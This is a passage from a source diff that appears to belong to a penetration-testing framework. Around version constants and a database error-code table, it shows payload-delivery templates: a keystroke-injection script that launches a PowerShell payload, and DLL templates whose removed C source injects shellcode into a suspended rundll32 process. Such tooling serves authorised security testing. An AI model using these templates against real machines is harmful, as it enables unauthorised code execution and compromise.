|
||||
"V3_9_2",
|
||||
"V3_9_3_SNAPSHOT",
|
||||
"V3_9_3",
|
||||
"V3_9_4_SNAPSHOT",
|
||||
"V3_9_4",
|
||||
"V3_9_5_SNAPSHOT",
|
||||
"V3_9_5",
|
||||
"V3_9_6_SNAPSHOT",
|
||||
"V3_9_6",
|
||||
"V3_9_7_SNAPSHOT",
|
||||
"V3_9_7",
|
||||
"V3_9_8_SNAPSHOT",
|
||||
"V3_9_8",
|
||||
"V3_9_9_SNAPSHOT",
|
||||
"V3_9_9",
|
||||
"V4_0_0_SNAPSHOT",
|
||||
"V4_0_0",
|
||||
"V4_0_1_SNAPSHOT",
|
||||
"V4_0_1",
|
||||
"V4_0_2_SNAPSHOT",
|
||||
"V4_0_2",
|
||||
"V4_0_3_SNAPSHOT",
|
||||
"V4_0_3",
|
||||
"V4_0_4_SNAPSHOT",
|
||||
"V4_0_4",
|
||||
"V4_0_5_SNAPSHOT",
|
||||
"V4_0_5",
|
||||
"V4_0_6_SNAPSHOT",
|
||||
"V4_0_6",
|
||||
"V4_0_7_SNAPSHOT",
|
||||
"V4_0_7",
|
||||
"V4_0_8_SNAPSHOT",
|
||||
"V4_0_8",
|
||||
"V4_0_9_SNAPSHOT",
|
||||
"V4_0_9",
|
||||
"V4_1_0_SNAPSHOT",
|
||||
"V4_1_0",
|
||||
"V4_1_1_SNAPSHOT",
|
||||
"V4_1_1",
|
||||
"V4_1_2_SNAPSHOT",
|
||||
"V4_1_2",
|
||||
"V4_1_3_SNAPSHOT",
|
||||
"V4_1_3",
|
||||
"V4_1_4_SNAPSHOT",
|
||||
"V4_1_4",
|
||||
"V4_1_5_SNAPSHOT",
|
||||
"V4_1_5",
|
||||
"V4_1_6_SNAPSHOT",
|
||||
"V4_1_6",
|
||||
"V4_1_7_SNAPSHOT",
|
||||
"V4_1_7",
|
||||
"V4_1_8_SNAPSHOT",
|
||||
"V4_1_8",
|
||||
"V4_1_9_SNAPSHOT",
|
||||
"V4_1_9",
|
||||
"V4_2_0_SNAPSHOT",
|
||||
"V4_2_0",
|
||||
"V4_2_1_SNAPSHOT",
|
||||
"V4_2_1",
|
||||
"V4_2_2_SNAPSHOT",
|
||||
"V4_2_2",
|
||||
"V4_2_3_SNAPSHOT",
|
||||
"V4_2_3",
|
||||
"V4_2_4_SNAPSHOT",
|
||||
"V4_2_4",
|
||||
"V4_2_5_SNAPSHOT",
|
||||
"V4_2_5",
|
||||
"V4_2_6_SNAPSHOT",
|
||||
"V4_2_6",
|
||||
"V4_2_7_SNAPSHOT",
|
||||
"V4_2_7",
|
||||
"V4_2_8_SNAPSHOT",
|
||||
"V4_2_8",
|
||||
"V4_2_9_SNAPSHOT",
|
||||
"V4_2_9",
|
||||
"V4_3_0_SNAPSHOT",
|
||||
"V4_3_0",
|
||||
"V4_3_1_SNAPSHOT",
|
||||
"V4_3_1",
|
||||
"V4_3_2_SNAPSHOT",
|
||||
"V4_3_2",
|
||||
"V4_3_3_SNAPSHOT",
|
||||
"V4_3_3",
|
||||
"V4_3_4_SNAPSHOT",
|
||||
"V4_3_4",
|
||||
"V4_3_5_SNAPSHOT",
|
||||
"V4_3_5",
|
||||
"V4_3_6_SNAPSHOT",
|
||||
"V4_3_6",
|
||||
"V4_3_7_SNAPSHOT",
|
||||
"V4_3_7",
|
||||
"V4_3_8_SNAPSHOT",
|
||||
"V4_3_8",
|
||||
"V4_3_9_SNAPSHOT",
|
||||
"V4_3_9",
|
||||
"V4_4_0_SNAPSHOT",
|
||||
"V4_4_0",
|
||||
"V4_4_1_SNAPSHOT",
|
||||
"V4_4_1",
|
||||
"V4_4_2_SNAPSHOT",
|
||||
"V4_4_2",
|
||||
"V4_4_3_SNAPSHOT",
|
||||
"V4_4_3",
|
||||
"V4_4_4_SNAPSHOT",
|
||||
"V4_4_4",
|
||||
"V4_4_5_SNAPSHOT",
|
||||
"V4_4_5",
|
||||
"V4_4_6_SNAPSHOT",
|
||||
"V4_4_6",
|
||||
"V4_4_7_SNAPSHOT",
|
||||
"V4_4_7",
|
||||
"V4_4_8_SNAPSHOT",
|
||||
"V4_4_8",
|
||||
"V4_4_9_SNAPSHOT",
|
||||
"V4_4_9",
|
||||
"V4_5_0_SNAPSHOT",
|
||||
"V4_5_0",
|
||||
"V4_5_1_SNAPSHOT",
|
||||
"V4_5_1",
|
||||
"V4_5_2_SNAPSHOT",
|
||||
"V4_5_2",
|
||||
"V4_5_3_SNAPSHOT",
|
||||
"V4_5_3",
|
||||
"V4_5_4_SNAPSHOT",
|
||||
"V4_5_4",
|
||||
"V4_5_5_SNAPSHOT",
|
||||
"V4_5_5",
|
||||
"V4_5_6_SNAPSHOT",
|
||||
"V4_5_6",
|
||||
"V4_5_7_SNAPSHOT",
|
||||
"V4_5_7",
|
||||
"V4_5_8_SNAPSHOT",
|
||||
"V4_5_8",
|
||||
"V4_5_9_SNAPSHOT",
|
||||
"V4_5_9",
|
||||
"V4_6_0_SNAPSHOT",
|
||||
"V4_6_0",
|
||||
"V4_6_1_SNAPSHOT",
|
||||
"V4_6_1",
|
||||
"V4_6_2_SNAPSHOT",
|
||||
"V4_6_2",
|
||||
"V4_6_3_SNAPSHOT",
|
||||
"V4_6_3",
|
||||
"V4_6_4_SNAPSHOT",
|
||||
"V4_6_4",
|
||||
"V4_6_5_SNAPSHOT",
|
||||
"V4_6_5",
|
||||
"V4_6_6_SNAPSHOT",
|
||||
"V4_6_6",
|
||||
"V4_6_7_SNAPSHOT",
|
||||
"V4_6_7",
|
||||
"V4_6_8_SNAPSHOT",
|
||||
"V4_6_8",
|
||||
"V4_6_9_SNAPSHOT",
|
||||
"V4_6_9",
|
||||
"V4_7_0_SNAPSHOT",
|
||||
"V4_7_0",
|
||||
"V4_7_1_SNAPSHOT",
|
||||
"V4_7_1",
|
||||
"V4_7_2_SNAPSHOT",
|
||||
"V4_7_2",
|
||||
"V4_7_3_SNAPSHOT",
|
||||
"V4_7_3",
|
||||
"V4_7_4_SNAPSHOT",
|
||||
"V4_7_4",
|
||||
"V4_7_5_SNAPSHOT",
|
||||
"V4_7_5",
|
||||
"V4_7_6_SNAPSHOT",
|
||||
"V4_7_6",
|
||||
"V4_7_7_SNAPSHOT",
|
||||
"V4_7_7",
|
||||
"V4_7_8_SNAPSHOT",
|
||||
"V4_7_8",
|
||||
"V4_7_9_SNAPSHOT",
|
||||
"V4_7_9",
|
||||
"V4_8_0_SNAPSHOT",
|
||||
"V4_8_0",
|
||||
"V4_8_1_SNAPSHOT",
|
||||
"V4_8_1",
|
||||
"V4_8_2_SNAPSHOT",
|
||||
"V4_8_2",
|
||||
"V4_8_3_SNAPSHOT",
|
||||
"V4_8_3",
|
||||
"V4_8_4_SNAPSHOT",
|
||||
"V4_8_4",
|
||||
"V4_8_5_SNAPSHOT",
|
||||
"V4_8_5",
|
||||
"V4_8_6_SNAPSHOT",
|
||||
"V4_8_6",
|
||||
"V4_8_7_SNAPSHOT",
|
||||
"V4_8_7",
|
||||
"V4_8_8_SNAPSHOT",
|
||||
"V4_8_8",
|
||||
"V4_8_9_SNAPSHOT",
|
||||
"V4_8_9",
|
||||
"V4_9_0_SNAPSHOT",
|
||||
"V4_9_0",
|
||||
"V4_9_1_SNAPSHOT",
|
||||
"V4_9_1",
|
||||
"V4_9_2_SNAPSHOT",
|
||||
"V4_9_2",
|
||||
"V4_9_3_SNAPSHOT",
|
||||
"V4_9_3",
|
||||
"V4_9_4_SNAPSHOT",
|
||||
"V4_9_4",
|
||||
"V4_9_5_SNAPSHOT",
|
||||
"V4_9_5",
|
||||
"V4_9_6_SNAPSHOT",
|
||||
"V4_9_6",
|
||||
"V4_9_7_SNAPSHOT",
|
||||
"V4_9_7",
|
||||
"V4_9_8_SNAPSHOT",
|
||||
"V4_9_8",
|
||||
"V4_9_9_SNAPSHOT",
|
||||
"V4_9_9",
|
||||
"V5_0_0_SNAPSHOT",
|
||||
"V5_0_0",
|
||||
"V5_0_1_SNAPSHOT",
|
||||
"V5_0_1",
|
||||
"V5_0_2_SNAPSHOT",
|
||||
"V5_0_2",
|
||||
"V5_0_3_SNAPSHOT",
|
||||
"V5_0_3",
|
||||
"V5_0_4_SNAPSHOT",
|
||||
"V5_0_4",
|
||||
"V5_0_5_SNAPSHOT",
|
||||
"V5_0_5",
|
||||
"V5_0_6_SNAPSHOT",
|
||||
"V5_0_6",
|
||||
"V5_0_7_SNAPSHOT",
|
||||
"V5_0_7",
|
||||
"V5_0_8_SNAPSHOT",
|
||||
"V5_0_8",
|
||||
"V5_0_9_SNAPSHOT",
|
||||
"V5_0_9",
|
||||
"V5_1_0_SNAPSHOT",
|
||||
"V5_1_0",
|
||||
"V5_1_1_SNAPSHOT",
|
||||
"V5_1_1",
|
||||
"V5_1_2_SNAPSHOT",
|
||||
"V5_1_2",
|
||||
"V5_1_3_SNAPSHOT",
|
||||
"V5_1_3",
|
||||
"V5_1_4_SNAPSHOT",
|
||||
"V5_1_4",
|
||||
"V5_1_5_SNAPSHOT",
|
||||
"V5_1_5",
|
||||
"V5_1_6_SNAPSHOT",
|
||||
"V5_1_6",
|
||||
"V5_1_7_SNAPSHOT",
|
||||
"V5_1_7",
|
||||
"V5_1_8_SNAPSHOT",
|
||||
"V5_1_8",
|
||||
"V5_1_9_SNAPSHOT",
|
||||
"V5_1_9",
|
||||
"V5_2_0_SNAPSHOT",
|
||||
"V5_2_0",
|
||||
"V5_2_1_SNAPSHOT",
|
||||
"V5_2_1",
|
||||
"V5_2_2_SNAPSHOT",
|
||||
"V5_2_2",
|
||||
"V5_2_3_SNAPSHOT",
|
||||
"V5_2_3",
|
||||
"V5_2_4_SNAPSHOT",
|
||||
"V5_2_4",
|
||||
"V5_2_5_SNAPSHOT",
|
||||
"V5_2_5",
|
||||
"V5_2_6_SNAPSHOT",
|
||||
"V5_2_6",
|
||||
"V5_2_7_SNAPSHOT",
|
||||
"V5_2_7",
|
||||
"V5_2_8_SNAPSHOT",
|
||||
"V5_2_8",
|
||||
"V5_2_9_SNAPSHOT",
|
||||
"V5_2_9",
|
||||
"V5_3_0_SNAPSHOT",
|
||||
"V5_3_0",
|
||||
"V5_3_1_SNAPSHOT",
|
||||
"V5_3_1",
|
||||
"V5_3_2_SNAPSHOT",
|
||||
"V5_3_2",
|
||||
"V5_3_3_SNAPSHOT",
|
||||
"V5_3_3",
|
||||
"V5_3_4_SNAPSHOT",
|
||||
"V5_3_4",
|
||||
"V5_3_5_SNAPSHOT",
|
||||
"V5_3_5",
|
||||
"V5_3_6_SNAPSHOT",
|
||||
"V5_3_6",
|
||||
"V5_3_7_SNAPSHOT",
|
||||
"V5_3_7",
|
||||
"V5_3_8_SNAPSHOT",
|
||||
"V5_3_8",
|
||||
"V5_3_9_SNAPSHOT",
|
||||
"V5_3_9",
|
||||
"V5_4_0_SNAPSHOT",
|
||||
"V5_4_0",
|
||||
"V5_4_1_SNAPSHOT",
|
||||
"V5_4_1",
|
||||
"V5_4_2_SNAPSHOT",
|
||||
"V5_4_2",
|
||||
"V5_4_3_SNAPSHOT",
|
||||
"V5_4_3",
|
||||
"V5_4_4_SNAPSHOT",
|
||||
"V5_4_4",
|
||||
"V5_4_5_SNAPSHOT",
|
||||
"V5_4_5",
|
||||
"V5_4_6_SNAPSHOT",
|
||||
"V5_4_6",
|
||||
"V5_4_7_SNAPSHOT",
|
||||
"V5_4_7",
|
||||
"V5_4_8_SNAPSHOT",
|
||||
"V5_4_8",
|
||||
"V5_4_9_SNAPSHOT",
|
||||
"V5_4_9",
|
||||
"V5_5_0_SNAPSHOT",
|
||||
"V5_5_0",
|
||||
"V5_5_1_SNAPSHOT",
|
||||
"V5_5_1",
|
||||
"V5_5_2_SNAPSHOT",
|
||||
"V5_5_2",
|
||||
"V5_5_3_SNAPSHOT",
|
||||
"V5_5_3",
|
||||
"V5_5_4_SNAPSHOT",
|
||||
"V5_5_4",
|
||||
"V5_5_5_SNAPSHOT",
|
||||
"V5_5_5",
|
||||
"V5_5_6_SNAPSHOT",
|
||||
"V5_5_6",
|
||||
"V5_5_7_SNAPSHOT",
|
||||
"V5_5_7",
|
||||
"V5_5_8_SNAPSHOT",
|
||||
"V5_5_8",
|
||||
"V5_5_9_SNAPSHOT",
|
||||
"V5_5_9",
|
||||
"V5_6_0_SNAPSHOT",
|
||||
"V5_6_0",
|
||||
"V5_6_1_SNAPSHOT",
|
||||
"V5_6_1",
|
||||
"V5_6_2_SNAPSHOT",
|
||||
"V5_6_2",
|
||||
"V5_6_3_SNAPSHOT",
|
||||
"V5_6_3",
|
||||
"V5_6_4_SNAPSHOT",
|
||||
"V5_6_4",
|
||||
"V5_6_5_SNAPSHOT",
|
||||
"V5_6_5",
|
||||
"V5_6_6_SNAPSHOT",
|
||||
"V5_6_6",
|
||||
"V5_6_7_SNAPSHOT",
|
||||
"V5_6_7",
|
||||
"V5_6_8_SNAPSHOT",
|
||||
"V5_6_8",
|
||||
"V5_6_9_SNAPSHOT",
|
||||
"V5_6_9",
|
||||
"V5_7_0_SNAPSHOT",
|
||||
"V5_7_0",
|
||||
"V5_7_1_SNAPSHOT",
|
||||
"V5_7_1",
|
||||
"V5_7_2_SNAPSHOT",
|
||||
"V5_7_2",
|
||||
"V5_7_3_SNAPSHOT",
|
||||
"V5_7_3",
|
||||
"V5_7_4_SNAPSHOT",
|
||||
"V5_7_4",
|
||||
"V5_7_5_SNAPSHOT",
|
||||
"V5_7_5",
|
||||
"V5_7_6_SNAPSHOT",
|
||||
"V5_7_6",
|
||||
"V5_7_7_SNAPSHOT",
|
||||
"V5_7_7",
|
||||
"V5_7_8_SNAPSHOT",
|
||||
"V5_7_8",
|
||||
"V5_7_9_SNAPSHOT",
|
||||
"V5_7_9",
|
||||
"V5_8_0_SNAPSHOT",
|
||||
"V5_8_0",
|
||||
"V5_8_1_SNAPSHOT",
|
||||
"V5_8_1",
|
||||
"V5_8_2_SNAPSHOT",
|
||||
"V5_8_2",
|
||||
"V5_8_3_SNAPSHOT",
|
||||
"V5_8_3",
|
||||
"V5_8_4_SNAPSHOT",
|
||||
"V5_8_4",
|
||||
"V5_8_5_SNAPSHOT",
|
||||
"V5_8_5",
|
||||
"V5_8_6_SNAPSHOT",
|
||||
"V5_8_6",
|
||||
"V5_8_7_SNAPSHOT",
|
||||
"V5_8_7",
|
||||
"V5_8_8_SNAPSHOT",
|
||||
"V5_8_8",
|
||||
"V5_8_9_SNAPSHOT",
|
||||
"V5_8_9",
|
||||
"V5_9_0_SNAPSHOT",
|
||||
"V5_9_0",
|
||||
"V5_9_1_SNAPSHOT",
|
||||
"V5_9_1",
|
||||
"V5_9_2_SNAPSHOT",
|
||||
"V5_9_2",
|
||||
"V5_9_3_SNAPSHOT",
|
||||
"V5_9_3",
|
||||
"V5_9_4_SNAPSHOT",
|
||||
"V5_9_4",
|
||||
"V5_9_5_SNAPSHOT",
|
||||
"V5_9_5",
|
||||
"V5_9_6_SNAPSHOT",
|
||||
"V5_9_6",
|
||||
"V5_9_7_SNAPSHOT",
|
||||
"V5_9_7",
|
||||
"V5_9_8_SNAPSHOT",
|
||||
"V5_9_8",
|
||||
"V5_9_9_SNAPSHOT",
|
||||
"V5_9_9",
|
||||
"HIGHER_VERSION"
|
||||
]
|
||||
@@ -0,0 +1,14 @@
|
||||
REM Title: Metasploit Generated Payload
|
||||
REM Description: Opens a payload via powershell on the system
|
||||
REM Version: 1.0
|
||||
REM Open start menu
|
||||
REM We use cmd.exe since the powershell payload is likely too long for the run bar
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING cmd.exe
|
||||
DELAY 750
|
||||
ENTER
|
||||
DELAY 750
|
||||
STRING powershell.exe %{var_payload}
|
||||
DELAY 750
|
||||
ENTER
|
||||
@@ -0,0 +1,10 @@
|
||||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
@@ -0,0 +1,7 @@
|
||||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
||||
@@ -3,12 +3,13 @@
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
-3
@@ -1,6 +1,3 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
@@ -1,97 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
||||
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
||||
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,101 @@
|
||||
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
|
||||
{
|
||||
0: "UVE_NOERROR",
|
||||
14002: "UVE_ENOENT",
|
||||
14005: "UVE_EIO",
|
||||
14009: "UVE_EBADF",
|
||||
14012: "UVE_ENOMEM",
|
||||
14013: "UVE_EACCES",
|
||||
14022: "UVE_EINVAL",
|
||||
14023: "UVE_ENFILE",
|
||||
14024: "UVE_EMFILE",
|
||||
14028: "UVE_ENOSPC",
|
||||
14551: "UVE_NETUNREACH",
|
||||
22001: "UVE_BFN",
|
||||
22002: "UVE_BTS",
|
||||
20003: "UVE_IID",
|
||||
22004: "UVE_LRR",
|
||||
22005: "UVE_NFI",
|
||||
30001: "UVE_RNF",
|
||||
30002: "UVE_LCK",
|
||||
30095: "UVE_FIFS",
|
||||
30097: "UVE_SELFAIL",
|
||||
30098: "UVE_LOCKINVALID",
|
||||
30099: "UVE_SEQOPENED",
|
||||
30100: "UVE_HASHOPENED",
|
||||
30101: "UVE_SEEKFAILED",
|
||||
30103: "UVE_INVALIDATKEY",
|
||||
30105: "UVE_UNABLETOLOADSUB",
|
||||
30106: "UVE_BADNUMARGS",
|
||||
30107: "UVE_SUBERROR",
|
||||
30108: "UVE_ITYPEFTC",
|
||||
30109: "UVE_ITYPEFAILEDTOLOAD",
|
||||
30110: "UVE_ITYPENOTCOMPILED",
|
||||
30111: "UVE_BADITYPE",
|
||||
30112: "UVE_INVALIDFILENAME",
|
||||
30113: "UVE_WEOFFAILED",
|
||||
30114: "UVE_EXECUTEISACTIVE",
|
||||
30115: "UVE_EXECUTENOTACTIVE",
|
||||
30124: "UVE_TX_ACTIVE",
|
||||
30125: "UVE_CANT_ACCESS_PF",
|
||||
30126: "UVE_FAIL_TO_CANCEL",
|
||||
30127: "UVE_INVALID_INFO_KEY",
|
||||
30128: "UVE_CREATE_FAILED",
|
||||
30129: "UVE_DUPHANDLE_FAILED",
|
||||
31000: "UVE_NVR",
|
||||
31001: "UVE_NPN",
|
||||
39101: "UVE_NODATA",
|
||||
39119: "UVE_AT_INPUT",
|
||||
39120: "UVE_SESSION_NOT_OPEN",
|
||||
39121: "UVE_UVEXPIRED",
|
||||
39122: "UVE_CSVERSION",
|
||||
39123: "UVE_COMMSVERSION",
|
||||
39124: "UVE_BADSIG",
|
||||
39125: "UVE_BADDIR",
|
||||
39127: "UVE_BAD_UVHOME",
|
||||
39128: "UVE_INVALIDPATH",
|
||||
39129: "UVE_INVALIDACCOUNT",
|
||||
39130: "UVE_BAD_UVACCOUNT_FILE",
|
||||
39131: "UVE_FTA_NEW_ACCOUNT",
|
||||
39134: "UVE_ULR",
|
||||
39135: "UVE_NO_NLS",
|
||||
39136: "UVE_MAP_NOT_FOUND",
|
||||
39137: "UVE_NO_LOCALE",
|
||||
39138: "UVE_LOCALE_NOT_FOUND",
|
||||
39139: "UVE_CATEGORY_NOT_FOUND",
|
||||
39201: "UVE_SR_SOCK_CON_FAIL",
|
||||
39210: "UVE_SR_SELECT_FAIL",
|
||||
39211: "UVE_SR_SELECT_TIMEOUT",
|
||||
40001: "UVE_INVALIDFIELD",
|
||||
40002: "UVE_SESSIONEXISTS",
|
||||
40003: "UVE_BADPARAM",
|
||||
40004: "UVE_BADOBJECT",
|
||||
40005: "UVE_NOMORE",
|
||||
40006: "UVE_NOTATINPUT",
|
||||
40007: "UVE_INVALID_DATAFIELD",
|
||||
40008: "UVE_BAD_DICTIONARY_ ENTRY",
|
||||
40009: "UVE_BAD_CONVERSION_ DATA",
|
||||
45000: "UVE_FILE_NOT_OPEN",
|
||||
45001: "UVE_OPENSESSION_ERR",
|
||||
45002: "UVE_NONNULL_RECORDID",
|
||||
80011: "UVE_BAD_LOGINNAME",
|
||||
80019: "UVE_BAD_PASSWORD",
|
||||
80144: "UVE_ACCOUNT_EXPIRED",
|
||||
80147: "UVE_RUN_REMOTE_FAILED",
|
||||
80148: "UVE_UPDATE_USER_FAILED",
|
||||
81001: "UVE_RPC_BAD_CONNECTION",
|
||||
81002: "UVE_RPC_NO_CONNECTION",
|
||||
81005: "UVE_RPC_WRONG_VERSION",
|
||||
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
|
||||
81009: "UVE_RPC_FAILED",
|
||||
81011: "UVE_RPC_UNKNOWN_HOST",
|
||||
81014: "UVE_RPC_CANT_FIND_ SERVICE",
|
||||
81015: "UVE_RPC_TIMEOUT",
|
||||
81016: "UVE_RPC_REFUSED",
|
||||
